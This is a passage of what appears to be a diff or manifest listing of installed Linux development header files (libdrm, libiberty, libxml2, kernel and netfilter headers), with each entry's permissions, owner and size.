+-rw-r--r-- root root 1601 ./usr/include/libdrm/radeon_cs_gem.h
+-rw-r--r-- root root 5121 ./usr/include/libdrm/radeon_cs.h
+-rw-r--r-- root root 2179 ./usr/include/libdrm/radeon_cs_int.h
+-rw-r--r-- root root 38317 ./usr/include/libdrm/radeon_drm.h
+-rw-r--r-- root root 5968 ./usr/include/libdrm/radeon_surface.h
+-rw-r--r-- root root 7170 ./usr/include/libdrm/savage_drm.h
+-rw-r--r-- root root 2633 ./usr/include/libdrm/sis_drm.h
+-rw-r--r-- root root 14877 ./usr/include/libdrm/tegra_drm.h
+-rw-r--r-- root root 14457 ./usr/include/libdrm/vc4_drm.h
+-rw-r--r-- root root 16906 ./usr/include/libdrm/vc4_packet.h
+-rw-r--r-- root root 8244 ./usr/include/libdrm/vc4_qpu_defines.h
+-rw-r--r-- root root 8372 ./usr/include/libdrm/via_drm.h
+-rw-r--r-- root root 5010 ./usr/include/libdrm/virtgpu_drm.h
+-rw-r--r-- root root 32085 ./usr/include/libdrm/vmwgfx_drm.h
+-rw-r--r-- root root 19573 ./usr/include/libelf.h
+drwxr-xr-x root root 4096 ./usr/include/libfdisk
+-rw-r--r-- root root 29857 ./usr/include/libfdisk/libfdisk.h
+-rw-r--r-- root root 1386 ./usr/include/libgen.h
+drwxr-xr-x root root 4096 ./usr/include/libiberty
+-rw-r--r-- root root 14130 ./usr/include/libiberty/ansidecl.h
+-rw-r--r-- root root 27301 ./usr/include/libiberty/demangle.h
+-rw-r--r-- root root 2706 ./usr/include/libiberty/dyn-string.h
+-rw-r--r-- root root 2937 ./usr/include/libiberty/fibheap.h
+-rw-r--r-- root root 5890 ./usr/include/libiberty/floatformat.h
+-rw-r--r-- root root 27820 ./usr/include/libiberty.h
+-rw-r--r-- root root 7270 ./usr/include/libiberty/hashtab.h
+-rw-r--r-- root root 27820 ./usr/include/libiberty/libiberty.h
+-rw-r--r-- root root 3976 ./usr/include/libiberty/objalloc.h
+-rw-r--r-- root root 2824 ./usr/include/libiberty/partition.h
+-rw-r--r-- root root 5642 ./usr/include/libiberty/safe-ctype.h
+-rw-r--r-- root root 1209 ./usr/include/libiberty/sort.h
+-rw-r--r-- root root 6238 ./usr/include/libiberty/splay-tree.h
+-rw-r--r-- root root 1296 ./usr/include/libiberty/timeval-utils.h
+-rw-r--r-- root root 4580 ./usr/include/libintl.h
+drwxr-xr-x root root 4096 ./usr/include/libiptc
+-rw-r--r-- root root 360 ./usr/include/libiptc/ipt_kernel_headers.h
+-rw-r--r-- root root 5375 ./usr/include/libiptc/libip6tc.h
+-rw-r--r-- root root 5447 ./usr/include/libiptc/libiptc.h
+-rw-r--r-- root root 724 ./usr/include/libiptc/libxtc.h
+-rw-r--r-- root root 867 ./usr/include/libiptc/xtcshared.h
+-rw-r--r-- root root 9433 ./usr/include/libkmod.h
+drwxr-xr-x root root 4096 ./usr/include/libkms
+-rw-r--r-- root root 2571 ./usr/include/libkms/libkms.h
+drwxr-xr-x root root 4096 ./usr/include/libmnl
+-rw-r--r-- root root 8002 ./usr/include/libmnl/libmnl.h
+drwxr-xr-x root root 4096 ./usr/include/libmount
+-rw-r--r-- root root 36308 ./usr/include/libmount/libmount.h
+drwxr-xr-x root root 4096 ./usr/include/libpng16
+-rw-r--r-- root root 22846 ./usr/include/libpng16/pngconf.h
+-rw-r--r-- root root 142860 ./usr/include/libpng16/png.h
+-rw-r--r-- root root 7629 ./usr/include/libpng16/pnglibconf.h
+drwxr-xr-x root root 4096 ./usr/include/libsmartcols
+-rw-r--r-- root root 15473 ./usr/include/libsmartcols/libsmartcols.h
+-rw-r--r-- root root 3466 ./usr/include/libsync.h
+-rw-r--r-- root root 10327 ./usr/include/libudev.h
+drwxr-xr-x root root 4096 ./usr/include/libxml2
+drwxr-xr-x root root 4096 ./usr/include/libxml2/libxml
+-rw-r--r-- root root 3115 ./usr/include/libxml2/libxml/c14n.h
+-rw-r--r-- root root 4906 ./usr/include/libxml2/libxml/catalog.h
+-rw-r--r-- root root 5159 ./usr/include/libxml2/libxml/chvalid.h
+-rw-r--r-- root root 5152 ./usr/include/libxml2/libxml/debugXML.h
+-rw-r--r-- root root 1814 ./usr/include/libxml2/libxml/dict.h
+-rw-r--r-- root root 3157 ./usr/include/libxml2/libxml/DOCBparser.h
+-rw-r--r-- root root 8507 ./usr/include/libxml2/libxml/encoding.h
+-rw-r--r-- root root 4712 ./usr/include/libxml2/libxml/entities.h
+-rw-r--r-- root root 14670 ./usr/include/libxml2/libxml/globals.h
+-rw-r--r-- root root 6601 ./usr/include/libxml2/libxml/hash.h
+-rw-r--r-- root root 9410 ./usr/include/libxml2/libxml/HTMLparser.h
+-rw-r--r-- root root 3646 ./usr/include/libxml2/libxml/HTMLtree.h
+-rw-r--r-- root root 3348 ./usr/include/libxml2/libxml/list.h
+-rw-r--r-- root root 3758 ./usr/include/libxml2/libxml/nanoftp.h
+-rw-r--r-- root root 2005 ./usr/include/libxml2/libxml/nanohttp.h
+-rw-r--r-- root root 39718 ./usr/include/libxml2/libxml/parser.h
+-rw-r--r-- root root 17419 ./usr/include/libxml2/libxml/parserInternals.h
+-rw-r--r-- root root 2586 ./usr/include/libxml2/libxml/pattern.h
+-rw-r--r-- root root 5996 ./usr/include/libxml2/libxml/relaxng.h
+-rw-r--r-- root root 4949 ./usr/include/libxml2/libxml/SAX2.h
+-rw-r--r-- root root 4341 ./usr/include/libxml2/libxml/SAX.h
+-rw-r--r-- root root 26224 ./usr/include/libxml2/libxml/schemasInternals.h
+-rw-r--r-- root root 4371 ./usr/include/libxml2/libxml/schematron.h
+-rw-r--r-- root root 1958 ./usr/include/libxml2/libxml/threads.h
+-rw-r--r-- root root 38108 ./usr/include/libxml2/libxml/tree.h
+-rw-r--r-- root root 2664 ./usr/include/libxml2/libxml/uri.h
+-rw-r--r-- root root 13622 ./usr/include/libxml2/libxml/valid.h
+-rw-r--r-- root root 2967 ./usr/include/libxml2/libxml/xinclude.h
+-rw-r--r-- root root 5042 ./usr/include/libxml2/libxml/xlink.h
+-rw-r--r-- root root 3956 ./usr/include/libxml2/libxml/xmlautomata.h
+-rw-r--r-- root root 36809 ./usr/include/libxml2/libxml/xmlerror.h
+-rw-r--r-- root root 3759 ./usr/include/libxml2/libxml/xmlexports.h
+-rw-r--r-- root root 10605 ./usr/include/libxml2/libxml/xmlIO.h
+-rw-r--r-- root root 5945 ./usr/include/libxml2/libxml/xmlmemory.h
+-rw-r--r-- root root 1170 ./usr/include/libxml2/libxml/xmlmodule.h
+-rw-r--r-- root root 12607 ./usr/include/libxml2/libxml/xmlreader.h
+-rw-r--r-- root root 5458 ./usr/include/libxml2/libxml/xmlregexp.h
+-rw-r--r-- root root 2337 ./usr/include/libxml2/libxml/xmlsave.h
+-rw-r--r-- root root 7069 ./usr/include/libxml2/libxml/xmlschemas.h
+-rw-r--r-- root root 4841 ./usr/include/libxml2/libxml/xmlschemastypes.h
+-rw-r--r-- root root 5511 ./usr/include/libxml2/libxml/xmlstring.h
+-rw-r--r-- root root 9993 ./usr/include/libxml2/libxml/xmlunicode.h
+-rw-r--r-- root root 8035 ./usr/include/libxml2/libxml/xmlversion.h
+-rw-r--r-- root root 21265 ./usr/include/libxml2/libxml/xmlwriter.h
+-rw-r--r-- root root 16602 ./usr/include/libxml2/libxml/xpath.h
+-rw-r--r-- root root 19353 ./usr/include/libxml2/libxml/xpathInternals.h
+-rw-r--r-- root root 3359 ./usr/include/libxml2/libxml/xpointer.h
+-rw-r--r-- root root 5417 ./usr/include/limits.h
+-rw-r--r-- root root 7207 ./usr/include/link.h
+drwxr-xr-x root root 20480 ./usr/include/linux
+-rw-r--r-- root root 3733 ./usr/include/linux/acct.h
+-rw-r--r-- root root 1140 ./usr/include/linux/adb.h
+-rw-r--r-- root root 993 ./usr/include/linux/adfs_fs.h
+-rw-r--r-- root root 1544 ./usr/include/linux/affs_hardblocks.h
+-rw-r--r-- root root 3940 ./usr/include/linux/agpgart.h
+-rw-r--r-- root root 3398 ./usr/include/linux/aio_abi.h
+-rw-r--r-- root root 3681 ./usr/include/linux/am437x-vpfe.h
+drwxr-xr-x root root 4096 ./usr/include/linux/android
+-rw-r--r-- root root 789 ./usr/include/linux/android/binderfs.h
+-rw-r--r-- root root 14535 ./usr/include/linux/android/binder.h
+-rw-r--r-- root root 6892 ./usr/include/linux/a.out.h
+-rw-r--r-- root root 3683 ./usr/include/linux/apm_bios.h
+-rw-r--r-- root root 213 ./usr/include/linux/arcfb.h
+-rw-r--r-- root root 2751 ./usr/include/linux/arm_sdei.h
+-rw-r--r-- root root 1780 ./usr/include/linux/aspeed-lpc-ctrl.h
+-rw-r--r-- root root 1906 ./usr/include/linux/aspeed-p2a-ctrl.h
+-rw-r--r-- root root 1023 ./usr/include/linux/atalk.h
+-rw-r--r-- root root 952 ./usr/include/linux/atmapi.h
+-rw-r--r-- root root 1296 ./usr/include/linux/atmarp.h
+-rw-r--r-- root root 3271 ./usr/include/linux/atmbr2684.h
+-rw-r--r-- root root 576 ./usr/include/linux/atmclip.h
+-rw-r--r-- root root 7677 ./usr/include/linux/atmdev.h
+-rw-r--r-- root root 648 ./usr/include/linux/atm_eni.h
+-rw-r--r-- root root 7888 ./usr/include/linux/atm.h
+-rw-r--r-- root root 406 ./usr/include/linux/atm_he.h
+-rw-r--r-- root root 955 ./usr/include/linux/atm_idt77105.h
+-rw-r--r-- root root 1646 ./usr/include/linux/atmioc.h
+-rw-r--r-- root root 2381 ./usr/include/linux/atmlec.h
+-rw-r--r-- root root 4226 ./usr/include/linux/atmmpc.h
+-rw-r--r-- root root 1278 ./usr/include/linux/atm_nicstar.h
+-rw-r--r-- root root 639 ./usr/include/linux/atmppp.h
+-rw-r--r-- root root 4970 ./usr/include/linux/atmsap.h
+-rw-r--r-- root root 1853 ./usr/include/linux/atmsvc.h
+-rw-r--r-- root root 1622 ./usr/include/linux/atm_tcp.h
+-rw-r--r-- root root 1540 ./usr/include/linux/atm_zatm.h
+-rw-r--r-- root root 20759 ./usr/include/linux/audit.h
+-rw-r--r-- root root 4986 ./usr/include/linux/auto_dev-ioctl.h
+-rw-r--r-- root root 451 ./usr/include/linux/auto_fs4.h
+-rw-r--r-- root root 6428 ./usr/include/linux/auto_fs.h
+-rw-r--r-- root root 1496 ./usr/include/linux/auxvec.h
+-rw-r--r-- root root 2824 ./usr/include/linux/ax25.h
+-rw-r--r-- root root 1717 ./usr/include/linux/b1lli.h
+-rw-r--r-- root root 20373 ./usr/include/linux/batadv_packet.h
+-rw-r--r-- root root 16306 ./usr/include/linux/batman_adv.h
+-rw-r--r-- root root 883 ./usr/include/linux/baycom.h
+-rw-r--r-- root root 8425 ./usr/include/linux/bcache.h
+-rw-r--r-- root root 419 ./usr/include/linux/bcm933xx_hcs.h
+-rw-r--r-- root root 1905 ./usr/include/linux/bfs_fs.h
+-rw-r--r-- root root 628 ./usr/include/linux/binfmts.h
+-rw-r--r-- root root 1634 ./usr/include/linux/blkpg.h
+-rw-r--r-- root root 4701 ./usr/include/linux/blktrace_api.h
+-rw-r--r-- root root 5368 ./usr/include/linux/blkzoned.h
+-rw-r--r-- root root 1367 ./usr/include/linux/bpf_common.h
+-rw-r--r-- root root 138331 ./usr/include/linux/bpf.h
+-rw-r--r-- root root 465 ./usr/include/linux/bpfilter.h
+-rw-r--r-- root root 529 ./usr/include/linux/bpf_perf_event.h
+-rw-r--r-- root root 981 ./usr/include/linux/bpqether.h
+-rw-r--r-- root root 2494 ./usr/include/linux/bsg.h
+-rw-r--r-- root root 572 ./usr/include/linux/bt-bmc.h
+-rw-r--r-- root root 4624 ./usr/include/linux/btf.h
+-rw-r--r-- root root 29142 ./usr/include/linux/btrfs.h
+-rw-r--r-- root root 25245 ./usr/include/linux/btrfs_tree.h
+drwxr-xr-x root root 4096 ./usr/include/linux/byteorder
+-rw-r--r-- root root 3542 ./usr/include/linux/byteorder/big_endian.h
+-rw-r--r-- root root 3611 ./usr/include/linux/byteorder/little_endian.h
+drwxr-xr-x root root 4096 ./usr/include/linux/caif
+-rw-r--r-- root root 5832 ./usr/include/linux/caif/caif_socket.h
+-rw-r--r-- root root 1041 ./usr/include/linux/caif/if_caif.h
+drwxr-xr-x root root 4096 ./usr/include/linux/can
+-rw-r--r-- root root 4116 ./usr/include/linux/can/bcm.h
+-rw-r--r-- root root 6610 ./usr/include/linux/can/error.h
+-rw-r--r-- root root 8031 ./usr/include/linux/can/gw.h
+-rw-r--r-- root root 8213 ./usr/include/linux/can.h
+-rw-r--r-- root root 2207 ./usr/include/linux/can/j1939.h
+-rw-r--r-- root root 3993 ./usr/include/linux/can/netlink.h
+-rw-r--r-- root root 2858 ./usr/include/linux/can/raw.h
+-rw-r--r-- root root 232 ./usr/include/linux/can/vxcan.h
+-rw-r--r-- root root 11780 ./usr/include/linux/capability.h
+-rw-r--r-- root root 3124 ./usr/include/linux/capi.h
+-rw-r--r-- root root 3281 ./usr/include/linux/cciss_defs.h
+-rw-r--r-- root root 2761 ./usr/include/linux/cciss_ioctl.h
+-rw-r--r-- root root 28859 ./usr/include/linux/cdrom.h
+-rw-r--r-- root root 53535 ./usr/include/linux/cec-funcs.h
+-rw-r--r-- root root 36389 ./usr/include/linux/cec.h
+-rw-r--r-- root root 2219 ./usr/include/linux/cgroupstats.h
+-rw-r--r-- root root 5344 ./usr/include/linux/chio.h
+drwxr-xr-x root root 4096 ./usr/include/linux/cifs
+-rw-r--r-- root root 1225 ./usr/include/linux/cifs/cifs_mount.h
+-rw-r--r-- root root 1806 ./usr/include/linux/cm4000_cs.h
+-rw-r--r-- root root 3456 ./usr/include/linux/cn_proc.h
+-rw-r--r-- root root 18216 ./usr/include/linux/coda.h
+-rw-r--r-- root root 12549 ./usr/include/linux/coff.h
+-rw-r--r-- root root 2253 ./usr/include/linux/connector.h
+-rw-r--r-- root root 788 ./usr/include/linux/const.h
+-rw-r--r-- root root 674 ./usr/include/linux/coresight-stm.h
+-rw-r--r-- root root 3555 ./usr/include/linux/cramfs_fs.h
+-rw-r--r-- root root 5321 ./usr/include/linux/cryptouser.h
+-rw-r--r-- root root 905 ./usr/include/linux/cuda.h
+-rw-r--r-- root root 17108 ./usr/include/linux/cyclades.h
+-rw-r--r-- root root 2990 ./usr/include/linux/cycx_cfm.h
+-rw-r--r-- root root 25291 ./usr/include/linux/dcbnl.h
+-rw-r--r-- root root 6436 ./usr/include/linux/dccp.h
+-rw-r--r-- root root 14860 ./usr/include/linux/devlink.h
+-rw-r--r-- root root 5080 ./usr/include/linux/dlmconstants.h
+-rw-r--r-- root root 2543 ./usr/include/linux/dlm_device.h
+-rw-r--r-- root root 2553 ./usr/include/linux/dlm.h
+-rw-r--r-- root root 1159 ./usr/include/linux/dlm_netlink.h
+-rw-r--r-- root root 894 ./usr/include/linux/dlm_plock.h
+-rw-r--r-- root root 1448 ./usr/include/linux/dma-buf.h
+-rw-r--r-- root root 10988 ./usr/include/linux/dm-ioctl.h
+-rw-r--r-- root root 15191 ./usr/include/linux/dm-log-userspace.h
+-rw-r--r-- root root 4642 ./usr/include/linux/dn.h
+-rw-r--r-- root root 3949 ./usr/include/linux/dns_resolver.h
+-rw-r--r-- root root 8999 ./usr/include/linux/dqblk_xfs.h
+drwxr-xr-x root root 4096 ./usr/include/linux/dvb
+-rw-r--r-- root root 3550 ./usr/include/linux/dvb/audio.h
+-rw-r--r-- root root 4247 ./usr/include/linux/dvb/ca.h
+-rw-r--r-- root root 10177 ./usr/include/linux/dvb/dmx.h
+-rw-r--r-- root root 29244 ./usr/include/linux/dvb/frontend.h
+-rw-r--r-- root root 2127 ./usr/include/linux/dvb/net.h
+-rw-r--r-- root root 5937 ./usr/include/linux/dvb/osd.h
+-rw-r--r-- root root 1082 ./usr/include/linux/dvb/version.h
+-rw-r--r-- root root 7106 ./usr/include/linux/dvb/video.h
+-rw-r--r-- root root 5604 ./usr/include/linux/edd.h
+-rw-r--r-- root root 2227 ./usr/include/linux/efs_fs_sb.h
+-rw-r--r-- root root 2995 ./usr/include/linux/elfcore.h
+-rw-r--r-- root root 2586 ./usr/include/linux/elf-em.h
+-rw-r--r-- root root 1124 ./usr/include/linux/elf-fdpic.h
+-rw-r--r-- root root 13642 ./usr/include/linux/elf.h
+-rw-r--r-- root root 23 ./usr/include/linux/errno.h
+-rw-r--r-- root root 1572 ./usr/include/linux/errqueue.h
+-rw-r--r-- root root 1059 ./usr/include/linux/erspan.h
+-rw-r--r-- root root 74781 ./usr/include/linux/ethtool.h
+-rw-r--r-- root root 2743 ./usr/include/linux/eventpoll.h
+-rw-r--r-- root root 842 ./usr/include/linux/fadvise.h
+-rw-r--r-- root root 3584 ./usr/include/linux/falloc.h
+-rw-r--r-- root root 5369 ./usr/include/linux/fanotify.h
+-rw-r--r-- root root 16412 ./usr/include/linux/fb.h
+-rw-r--r-- root root 3438 ./usr/include/linux/fcntl.h
+-rw-r--r-- root root 11672 ./usr/include/linux/fd.h
+-rw-r--r-- root root 5420 ./usr/include/linux/fdreg.h
+-rw-r--r-- root root 2036 ./usr/include/linux/fib_rules.h
+-rw-r--r-- root root 2775 ./usr/include/linux/fiemap.h
+-rw-r--r-- root root 2216 ./usr/include/linux/filter.h
+-rw-r--r-- root root 44242 ./usr/include/linux/firewire-cdev.h
+-rw-r--r-- root root 3231 ./usr/include/linux/firewire-constants.h
+-rw-r--r-- root root 894 ./usr/include/linux/fou.h
+-rw-r--r-- root root 6103 ./usr/include/linux/fpga-dfl.h
+-rw-r--r-- root root 6104 ./usr/include/linux/fscrypt.h
+-rw-r--r-- root root 12205 ./usr/include/linux/fs.h
+-rw-r--r-- root root 2255 ./usr/include/linux/fsi.h
+-rw-r--r-- root root 7301 ./usr/include/linux/fsl_hypervisor.h
+-rw-r--r-- root root 4393 ./usr/include/linux/fsmap.h
+-rw-r--r-- root root 931 ./usr/include/linux/fsverity.h
+-rw-r--r-- root root 20407 ./usr/include/linux/fuse.h
+-rw-r--r-- root root 4993 ./usr/include/linux/futex.h
+-rw-r--r-- root root 897 ./usr/include/linux/gameport.h
+-rw-r--r-- root root 1923 ./usr/include/linux/genetlink.h
+-rw-r--r-- root root 1599 ./usr/include/linux/gen_stats.h
+drwxr-xr-x root root 4096 ./usr/include/linux/genwqe
+-rw-r--r-- root root 17802 ./usr/include/linux/genwqe/genwqe_card.h
+-rw-r--r-- root root 14651 ./usr/include/linux/gfs2_ondisk.h
+-rw-r--r-- root root 1442 ./usr/include/linux/gigaset_dev.h
+-rw-r--r-- root root 5753 ./usr/include/linux/gpio.h
+-rw-r--r-- root root 1144 ./usr/include/linux/gsmmux.h
+-rw-r--r-- root root 681 ./usr/include/linux/gtp.h
+-rw-r--r-- root root 971 ./usr/include/linux/hash_info.h
+drwxr-xr-x root root 4096 ./usr/include/linux/hdlc
+-rw-r--r-- root root 2908 ./usr/include/linux/hdlcdrv.h
+-rw-r--r-- root root 637 ./usr/include/linux/hdlc.h
+-rw-r--r-- root root 2657 ./usr/include/linux/hdlc/ioctl.h
+-rw-r--r-- root root 22703 ./usr/include/linux/hdreg.h
+-rw-r--r-- root root 6345 ./usr/include/linux/hiddev.h
+-rw-r--r-- root root 1901 ./usr/include/linux/hid.h
+-rw-r--r-- root root 1511 ./usr/include/linux/hidraw.h
+-rw-r--r-- root root 743 ./usr/include/linux/hpet.h
+drwxr-xr-x root root 4096 ./usr/include/linux/hsi
+-rw-r--r-- root root 3656 ./usr/include/linux/hsi/cs-protocol.h
+-rw-r--r-- root root 1895 ./usr/include/linux/hsi/hsi_char.h
+-rw-r--r-- root root 1081 ./usr/include/linux/hsr_netlink.h
+-rw-r--r-- root root 742 ./usr/include/linux/hw_breakpoint.h
+-rw-r--r-- root root 10569 ./usr/include/linux/hyperv.h
+-rw-r--r-- root root 1382 ./usr/include/linux/hysdn_if.h
+-rw-r--r-- root root 2612 ./usr/include/linux/i2c-dev.h
+-rw-r--r-- root root 7132 ./usr/include/linux/i2c.h
+-rw-r--r-- root root 11555 ./usr/include/linux/i2o-dev.h
+-rw-r--r-- root root 1528 ./usr/include/linux/i8k.h
+-rw-r--r-- root root 2975 ./usr/include/linux/icmp.h
+-rw-r--r-- root root 4083 ./usr/include/linux/icmpv6.h
+-rw-r--r-- root root 1886 ./usr/include/linux/if_addr.h
+-rw-r--r-- root root 721 ./usr/include/linux/if_addrlabel.h
+-rw-r--r-- root root 946 ./usr/include/linux/if_alg.h
+-rw-r--r-- root root 3717 ./usr/include/linux/if_arcnet.h
+-rw-r--r-- root root 6565 ./usr/include/linux/if_arp.h
+-rw-r--r-- root root 4839 ./usr/include/linux/if_bonding.h
+-rw-r--r-- root root 7266 ./usr/include/linux/if_bridge.h
+-rw-r--r-- root root 986 ./usr/include/linux/if_cablemodem.h
+-rw-r--r-- root root 351 ./usr/include/linux/ife.h
+-rw-r--r-- root root 1349 ./usr/include/linux/if_eql.h
+-rw-r--r-- root root 8227 ./usr/include/linux/if_ether.h
+-rw-r--r-- root root 1738 ./usr/include/linux/if_fc.h
+-rw-r--r-- root root 4372 ./usr/include/linux/if_fddi.h
+-rw-r--r-- root root 3019 ./usr/include/linux/if_frad.h
+-rw-r--r-- root root 10813 ./usr/include/linux/if.h
+-rw-r--r-- root root 4235 ./usr/include/linux/if_hippi.h
+-rw-r--r-- root root 1245 ./usr/include/linux/if_infiniband.h
+-rw-r--r-- root root 23649 ./usr/include/linux/if_link.h
+-rw-r--r-- root root 210 ./usr/include/linux/if_ltalk.h
+-rw-r--r-- root root 5832 ./usr/include/linux/if_macsec.h
+-rw-r--r-- root root 7955 ./usr/include/linux/if_packet.h
+-rw-r--r-- root root 424 ./usr/include/linux/if_phonet.h
+-rw-r--r-- root root 660 ./usr/include/linux/if_plip.h
+-rw-r--r-- root root 29 ./usr/include/linux/if_ppp.h
+-rw-r--r-- root root 3292 ./usr/include/linux/if_pppol2tp.h
+-rw-r--r-- root root 4879 ./usr/include/linux/if_pppox.h
+-rw-r--r-- root root 872 ./usr/include/linux/if_slip.h
+-rw-r--r-- root root 2600 ./usr/include/linux/if_team.h
+-rw-r--r-- root root 4098 ./usr/include/linux/if_tun.h
+-rw-r--r-- root root 4512 ./usr/include/linux/if_tunnel.h
+-rw-r--r-- root root 1831 ./usr/include/linux/if_vlan.h
+-rw-r--r-- root root 881 ./usr/include/linux/if_x25.h
+-rw-r--r-- root root 2819 ./usr/include/linux/if_xdp.h
+-rw-r--r-- root root 3064 ./usr/include/linux/igmp.h
+drwxr-xr-x root root 4096 ./usr/include/linux/iio
+-rw-r--r-- root root 1390 ./usr/include/linux/iio/events.h
+-rw-r--r-- root root 2114 ./usr/include/linux/iio/types.h
+-rw-r--r-- root root 1246 ./usr/include/linux/ila.h
+-rw-r--r-- root root 7505 ./usr/include/linux/in6.h
+-rw-r--r-- root root 4540 ./usr/include/linux/inet_diag.h
+-rw-r--r-- root root 9881 ./usr/include/linux/in.h
+-rw-r--r-- root root 3292 ./usr/include/linux/inotify.h
+-rw-r--r-- root root 25218 ./usr/include/linux/input-event-codes.h
+-rw-r--r-- root root 15964 ./usr/include/linux/input.h
+-rw-r--r-- root root 936 ./usr/include/linux/in_route.h
+-rw-r--r-- root root 163 ./usr/include/linux/ioctl.h
+-rw-r--r-- root root 4578 ./usr/include/linux/iommu.h
+-rw-r--r-- root root 3478 ./usr/include/linux/io_uring.h
+-rw-r--r-- root root 1953 ./usr/include/linux/ip6_tunnel.h
+-rw-r--r-- root root 2101 ./usr/include/linux/ipc.h
+-rw-r--r-- root root 4728 ./usr/include/linux/ip.h
+-rw-r--r-- root root 488 ./usr/include/linux/ipmi_bmc.h
+-rw-r--r-- root root 15049 ./usr/include/linux/ipmi.h
+-rw-r--r-- root root 3350 ./usr/include/linux/ipmi_msgdefs.h
+-rw-r--r-- root root 947 ./usr/include/linux/ipsec.h
+-rw-r--r-- root root 3967 ./usr/include/linux/ipv6.h
+-rw-r--r-- root root 1908 ./usr/include/linux/ipv6_route.h
+-rw-r--r-- root root 14135 ./usr/include/linux/ip_vs.h
+-rw-r--r-- root root 2347 ./usr/include/linux/ipx.h
+-rw-r--r-- root root 104 ./usr/include/linux/irqnr.h
+drwxr-xr-x root root 4096 ./usr/include/linux/isdn
+-rw-r--r-- root root 4783 ./usr/include/linux/isdn/capicmd.h
+-rw-r--r-- root root 6485 ./usr/include/linux/iso_fs.h
+-rw-r--r-- root root 5408 ./usr/include/linux/isst_if.h
+-rw-r--r-- root root 1207 ./usr/include/linux/ivtvfb.h
+-rw-r--r-- root root 3022 ./usr/include/linux/ivtv.h
+-rw-r--r-- root root 6815 ./usr/include/linux/jffs2.h
+-rw-r--r-- root root 3434 ./usr/include/linux/joystick.h
+-rw-r--r-- root root 822 ./usr/include/linux/kcm.h
+-rw-r--r-- root root 522 ./usr/include/linux/kcmp.h
+-rw-r--r-- root root 1099 ./usr/include/linux/kcov.h
+-rw-r--r-- root root 383 ./usr/include/linux/kdev_t.h
+-rw-r--r-- root root 6253 ./usr/include/linux/kd.h
+-rw-r--r-- root root 1019 ./usr/include/linux/kernelcapi.h
+-rw-r--r-- root root 438 ./usr/include/linux/kernel.h
+-rw-r--r-- root root 900 ./usr/include/linux/kernel-page-flags.h
+-rw-r--r-- root root 1873 ./usr/include/linux/kexec.h
+-rw-r--r-- root root 13459 ./usr/include/linux/keyboard.h
+-rw-r--r-- root root 5837 ./usr/include/linux/keyctl.h
+-rw-r--r-- root root 16263 ./usr/include/linux/kfd_ioctl.h
+-rw-r--r-- root root 46258 ./usr/include/linux/kvm.h
+-rw-r--r-- root root 968 ./usr/include/linux/kvm_para.h
+-rw-r--r-- root root 5672 ./usr/include/linux/l2tp.h
+-rw-r--r-- root root 8289 ./usr/include/linux/libc-compat.h
+-rw-r--r-- root root 5042 ./usr/include/linux/lightnvm.h
+-rw-r--r-- root root 937 ./usr/include/linux/limits.h
+-rw-r--r-- root root 8102 ./usr/include/linux/lirc.h
+-rw-r--r-- root root 3164 ./usr/include/linux/llc.h
+-rw-r--r-- root root 2520 ./usr/include/linux/loop.h
+-rw-r--r-- root root 4190 ./usr/include/linux/lp.h
+-rw-r--r-- root root 1273 ./usr/include/linux/lwtunnel.h
+-rw-r--r-- root root 3604 ./usr/include/linux/magic.h
+-rw-r--r-- root root 4713 ./usr/include/linux/major.h
+-rw-r--r-- root root 7251 ./usr/include/linux/map_to_7segment.h
+-rw-r--r-- root root 1464 ./usr/include/linux/matroxfb.h
+-rw-r--r-- root root 1035 ./usr/include/linux/max2175.h
+-rw-r--r-- root root 15645 ./usr/include/linux/mdio.h
+-rw-r--r-- root root 6540 ./usr/include/linux/media-bus-format.h
+-rw-r--r-- root root 12641 ./usr/include/linux/media.h
+-rw-r--r-- root root 1993 ./usr/include/linux/mei.h
+-rw-r--r-- root root 7899 ./usr/include/linux/membarrier.h
+-rw-r--r-- root root 1324 ./usr/include/linux/memfd.h
+-rw-r--r-- root root 2154 ./usr/include/linux/mempolicy.h
+-rw-r--r-- root root 2529 ./usr/include/linux/meye.h
+-rw-r--r-- root root 6519 ./usr/include/linux/mic_common.h
+-rw-r--r-- root root 2252 ./usr/include/linux/mic_ioctl.h
+-rw-r--r-- root root 8281 ./usr/include/linux/mii.h
+-rw-r--r-- root root 2122 ./usr/include/linux/minix_fs.h
+-rw-r--r-- root root 1508 ./usr/include/linux/mman.h
+drwxr-xr-x root root 4096 ./usr/include/linux/mmc
+-rw-r--r-- root root 2331 ./usr/include/linux/mmc/ioctl.h
+-rw-r--r-- root root 2117 ./usr/include/linux/mmtimer.h
+-rw-r--r-- root root 255 ./usr/include/linux/module.h
+-rw-r--r-- root root 4546 ./usr/include/linux/mount.h
+-rw-r--r-- root root 2302 ./usr/include/linux/mpls.h
+-rw-r--r-- root root 761 ./usr/include/linux/mpls_iptunnel.h
+-rw-r--r-- root root 2201 ./usr/include/linux/mqueue.h
+-rw-r--r-- root root 4931 ./usr/include/linux/mroute6.h
+-rw-r--r-- root root 5881 ./usr/include/linux/mroute.h
+-rw-r--r-- root root 6731 ./usr/include/linux/msdos_fs.h
+-rw-r--r-- root root 3374 ./usr/include/linux/msg.h
+-rw-r--r-- root root 8175 ./usr/include/linux/mtio.h
+-rw-r--r-- root root 3024 ./usr/include/linux/nbd.h
+-rw-r--r-- root root 2378 ./usr/include/linux/nbd-netlink.h
+-rw-r--r-- root root 4828 ./usr/include/linux/ncsi.h
+-rw-r--r-- root root 6770 ./usr/include/linux/ndctl.h
+-rw-r--r-- root root 4406 ./usr/include/linux/neighbour.h
+-rw-r--r-- root root 614 ./usr/include/linux/netconf.h
+-rw-r--r-- root root 2253 ./usr/include/linux/netdevice.h
+-rw-r--r-- root root 2839 ./usr/include/linux/net_dropmon.h
+drwxr-xr-x root root 4096 ./usr/include/linux/netfilter
+drwxr-xr-x root root 4096 ./usr/include/linux/netfilter_arp
+-rw-r--r-- root root 5999 ./usr/include/linux/netfilter_arp/arp_tables.h
+-rw-r--r-- root root 606 ./usr/include/linux/netfilter_arp/arpt_mangle.h
+-rw-r--r-- root root 445 ./usr/include/linux/netfilter_arp.h
+drwxr-xr-x root root 4096 ./usr/include/linux/netfilter_bridge
+-rw-r--r-- root root 1274 ./usr/include/linux/netfilter_bridge/ebt_802_3.h
+-rw-r--r-- root root 9308 ./usr/include/linux/netfilter_bridge/ebtables.h
+-rw-r--r-- root root 2043 ./usr/include/linux/netfilter_bridge/ebt_among.h
+-rw-r--r-- root root 900 ./usr/include/linux/netfilter_bridge/ebt_arp.h
+-rw-r--r-- root root 289 ./usr/include/linux/netfilter_bridge/ebt_arpreply.h
+-rw-r--r-- root root 1056 ./usr/include/linux/netfilter_bridge/ebt_ip6.h
